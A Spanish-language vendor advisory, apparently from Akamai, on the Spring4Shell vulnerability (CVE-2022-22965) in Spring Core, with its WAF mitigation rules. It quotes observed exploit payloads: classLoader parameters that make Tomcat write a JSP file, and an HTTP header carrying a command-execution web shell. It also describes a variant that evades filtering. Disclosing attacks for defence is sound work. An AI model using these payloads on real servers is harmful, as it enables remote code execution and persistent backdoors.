Mitigación de 'Spring4Shell' de Spring Core desde el día cero
Descripción general
El 30 de marzo de 2022, un gran número de profesionales de la seguridad detectó vulnerabilidades relacionadas con Spring, el popular marco de Java de código abierto. El motor de seguridad adaptable de Akamai pudo detectar ataques a esta vulnerabilidad el día cero, y los clientes de Akamai están protegidos (véase más información a continuación).
Lamentablemente, los tiempos de divulgación de vulnerabilidades y otra información publicada informalmente crearon confusión sobre lo que está sucediendo, por lo que quisimos poner al día a nuestros clientes y a otras partes interesadas en la situación.
Existen dos vulnerabilidades diferentes relacionadas con los productos de Spring:
CVE-2022-22963 fue una vulnerabilidad en Spring Cloud Function (tecnología sin servidor de código abierto) para cuyo parche se creó el 24 de marzo, y se pusieron a disposición exploits públicos. (Nota: Tenemos una entrada de blog independiente sobre esta vulnerabilidad).
Otra vulnerabilidad en Spring Core, llamada "Spring4Shell", recibe el código CVE-2022-22965. La vulnerabilidad de Spring Core se considera más impactante, ya que afecta a la biblioteca principal y, por lo tanto, todos los proyectos de Spring están potencialmente afectados. Sin embargo, existe un debate acerca de la explotabilidad de esta vulnerabilidad, dado que requiere una configuración especial sobre la que advierten incluso los desarrolladores de Spring explícitamente por no ser segura. A continuación, analizaremos los detalles de esta vulnerabilidad para arrojar luz a este asunto.
El mismo día en que se empezó a estar disponible el exploit de Spring Core ("Spring4Shell") (es decir, el 30 de marzo), comenzamos a observar intentos de explotación.
Primeros intentos de explotación
Algunos de los primeros intentos de explotación fueron de atacantes que intentaban implementar un shell web (un archivo de puerta trasera de control remoto basado en la web), al que posteriormente los atacantes podrían acceder para ejecutar comandos arbitrarios en el servidor, lo que podría infectar el servidor con otro malware o propagarse dentro de la red objetivo.
Otros intentos fueron de empresas que analizaban su propia resistencia contra la vulnerabilidad.
Estos son algunos ejemplos de las cargas de ataque que hemos observado:
Múltiples variantes de exploits
Existen diversas maneras de explotar la vulnerabilidad de Spring Core, pero en cada una de las variantes la solicitud de explotación reconfigura los parámetros de registro. De esta manera, los atacantes configuran el nombre de la página del shell web, la extensión de archivo y el directorio en el que se escribirá:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bf%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d
class.module.classLoader.resources.context.parent.pipeline.first.prefix=aaa
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Tenga en cuenta que el contenido del archivo decodificado por url en la clase "first.pattern" del parámetro es %{f}i.
Por su parte, el valor de f que está siendo evaluado (por %{}) se toma del encabezado HTTP llamado f.
GET /aaa HTTP/1.1
Host: 127.0.0.1:8080
Usuario-agente: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept (contenido aceptado): text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
f: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language (idioma preferido): zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding (codificación aceptada): gzip, deflate
Conexión: cerrar
Solicitudes de actualización no segura: 1
Sec-Fetch-Dest: documento
Sec-Fetch-Mode: navegación
Sec-Fetch-Site: ninguno
Sec-Fetch-User: ?1
Un investigador publicó el primer ataque de prueba de concepto antes de que se realizara cualquier comunicación formal por parte de los desarrolladores de Spring, y ahí es donde comenzó la confusión. El investigador retiró inmediatamente. Sin embargo, el exploit ya se había filtrado y también estaba disponible en el portal de vx-underground (comunidad de investigadores de seguridad).
Posteriormente, el exploit volvió a aparecer, si bien empezó como variante para convertirse en una versión más compacta. La principal diferencia entre las variantes radica en si los parámetros vulnerables se establecen mediante parámetros de POST o en una solicitud GET a través de una cadena de consulta. El segundo cambio consistió en reducir la cantidad de solicitudes enviadas al servidor a una única solicitud.
La segunda versión del exploit también incluye una potencial evasión del firewall de aplicaciones web (WAF) o del filtrado de datos de entrada, mientras que oculta los patrones de código sensibles que esos controles de seguridad suelen buscar, como <% , %> y Runtime.getRuntime(). El contenido del archivo de shell web cargado incluye marcadores de posición que serán reemplazados por Spring por el contenido de los valores de encabezado correspondientes.
Por lo tanto, %{suffix}i en el contenido de la clase first.pattern será reemplazado por %>// , que es el valor de encabezado HTTP del sufijo.
Mitigación con motor de seguridad adaptable de Akamai
Todos los clientes de Akamai con Kona Site Defender están protegidos. El motor de seguridad adaptable de Akamai ha podido detectar este Spring Core desde el día cero con las reglas de inyección de comandos existentes:
3000023 - Ejecución remota de código de manipulación ClassLoader de Apache Struts
Mitigan esta vulnerabilidad otros conjuntos de reglas de Kona Site Defender:
Grupo de ataques automatizados:
1000005 - Inyección de comandos
Kona Rule Set:
3000023 - Ejecución remota de código de manipulación ClassLoader de Apache Struts
Resumen
La vulnerabilidad Spring Core/"Spring4Shell" tiene la capacidad de afectar a muchas organizaciones debido a las bajas expectativas de su explotación. Y anticipamos que habrá cibercriminales que adaptarán esta vulnerabilidad y lanzarán campañas de criptominería, DDoS y ransomware como vía para traspasar las defensas de las organizaciones en los próximos años. Sin embargo, los clientes de Akamai están protegidos con el motor de seguridad adaptable y los conjuntos de reglas de Kona Site Defender.
El equipo de investigación de amenazas de Akamai supervisa la explotación de esta vulnerabilidad e informará de las novedades a medida que surjan nuevas variantes.